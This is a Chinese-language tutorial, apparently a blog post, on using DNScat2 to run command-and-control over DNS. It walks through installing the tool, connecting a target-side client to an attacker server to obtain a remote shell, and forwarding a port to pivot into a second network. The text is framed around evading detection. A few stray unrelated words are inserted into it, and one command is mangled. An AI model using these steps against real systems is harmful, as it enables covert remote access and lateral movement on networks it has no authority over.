DNScat2工具:通过DNS进行C&C通信

介绍DNS

域名系统将URL和IP地址关联起来。有了DNS,我们就可以直接在浏览器中输入比较容易记的单词,而不是一连串的数字,这样人们就能够搜索站点并且发送消息了。

当你在浏览器中输入域名访问网站时,它首先会向DNS服务器发送请求来查找域名对应的IP地址。找到IP地址之后,就会通过IP定位到对应的服务器然后获取网站的内容。令人惊讶的是,这整个过程仅仅只需要几毫秒。DNS默认是运行在53端口上。

介绍DNScat

DNScat堪称神器,因为它可以通过DNS协议创建C&C隧道,让攻击者更加隐蔽。你可以访问任何数据以及上传和下载文件,并且获得一个shell。这个工具也是基于53端口的,所以你不需要对DNS服务器进行权威访问,只要通过53端口就能建立连接,速度会快很多,而且发送的流量都是正常流量。但是这些通信流量在数据包日志里就非常明显了,容易被发现。

DNScat有服务端和客户端两个组件。要理解DNScat的工作原理,需要先了解这两个组件。

客户端是要安装在目标机器中并且保持着运行状态。它是用C语言编写的,满足最少的基本条件就可以运行。当你运行客户端时,你需要指定一个域名。因为所有数据包都会发送到本地DNS服务器上,然后会发送到合法的DNS服务器来查询域名(显然,这个域名是你可以控制的)。

服务端要在一个通用的DNS服务器上运行。它是基于ruby开发的,并且依赖于一些独特的gems。当你运行这个服务端时,跟客户端类似,你需要指定它通过53端口监听哪些域名。当它接收到其中一个域名的流量时,它就会尝试着去建立一个合法的连接。如果接收到其他流量,它也会自动忽略不管,当然,你也可以在上游进行转发。中国菜刀

安装

运行下面这条git命令来下载DNScat2:

git clone //github.com/iagox86/dnscat2.git

DNScat2工具:通过DNS进行C&C通信

接下来安装bundler,因为它是DNScat2的一个主要依赖环境。要安装这个依赖,先进入到DNScat2的服务端目录,然后执行下面两条命令:

gem install bundler
bundle install

DNScat2工具:通过DNS进行C&C通信

安装完依赖环境之后,执行下面这条命令来启动服务端:天空彩

ruby dnscat2.rb

DNScat2工具:通过DNS进行C&C通信

同样地,在客户端主机上下载DNScat2,然后用make命令来编译,如下图:

DNScat2工具:通过DNS进行C&C通信

要让客户端和服务端通信,执行下面这条命令即可:

./dnscat2 --dns-server=192.168.174.131,port=53

DNScat2工具:通过DNS进行C&C通信

一旦连接建立起来之后,你可以在服务端看到存在一个会话,如下图。你可以用”sessions”命令来查看已经创建的会话。

DNScat2工具:通过DNS进行C&C通信

要进入刚才建立的session并与其交互,执行下面这条命令:

session -i 1

现在你已经进入该session了,你可以使用”ping”命令来ping目标,如果收到回复”pong”,那么你的ping命令就执行成功了。

DNScat2工具:通过DNS进行C&C通信

下图是客户端ping命令的响应:

DNScat2工具:通过DNS进行C&C通信

此外,可以输入help命令来查看我们可以执行的所有命令和选项。如果你想进入shell,只要输入”shell”命令即可,它就会开启一个新的窗口,进入到目标系统的shell中。

DNScat2工具:通过DNS进行C&C通信

与新的终端中打开的shell会话中进行交互,输入下面这两条命令:

windows
session -i 2

DNScat2工具:通过DNS进行C&C通信

当你进入session之后,你可以执行任意的shell命令,比如”uname -a”,如上图所示。

DNS隧道技术

DNScat2最好的一种攻击方式就是DNS隧道技术。如果在你的目标系统中执行ifconfig命令,有两个网络的话,如下图所示,那么执行DNS隧道技术就非常容易了。

DNScat2工具:通过DNS进行C&C通信

建立DNS隧道转发,先执行以下命令:

listen 127.0.0.1:888 10.0.0.10:22

DNScat2工具:通过DNS进行C&C通信

然后你就可以通过888端口来进行SSH连接了,命令如下:

ssh cell@127.0.0.1 -p 888

连接成功之后,你就可以使用’ifconfig’命令来查看你刚才进行隧道转发的网络,如下图所示:

DNScat2工具:通过DNS进行C&C通信

由于你已经SSH连接到了第二个网络中,你也可以在这个网络中下载DNScat2,以便进行攻击。当你在这个网络中下载好了DNScat2,输入下面这条命令来执行,然后在你的DNScat2服务端去查看会话:

dnscat2.exe --dns+server+192.168.174.131,port+53

DNScat2工具:通过DNS进行C&C通信

执行成功之后,你会获得一个新的会话,你可以通过sessions来查看会话,并且输入会话id来进入某个会话:

sessions
session -i 2

进入会话之后,你就可以执行任意命令了。

DNScat2工具:通过DNS进行C&C通信

而且你还能够执行systeminfo命令,这会显示第二个系统的详细信息,也就是你通过隧道技术拿到权限的系统。

DNScat2工具:通过DNS进行C&C通信

总结

即使是在限制非常严格的情况下,DNS流量也应该是允许放行的。我们就可以利用DNS隧道技术在目标主机和我们的C&C服务器之间建立连接。命令和信息都包含在DNS查询和识别中,这也是很难检测的原因,即使任意命令就隐藏在非常显眼的地方,但是它们被认为是合法的流量,也检测不出来。DNScat也正是利用了这一点才成为了一个非常不错的攻击工具。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值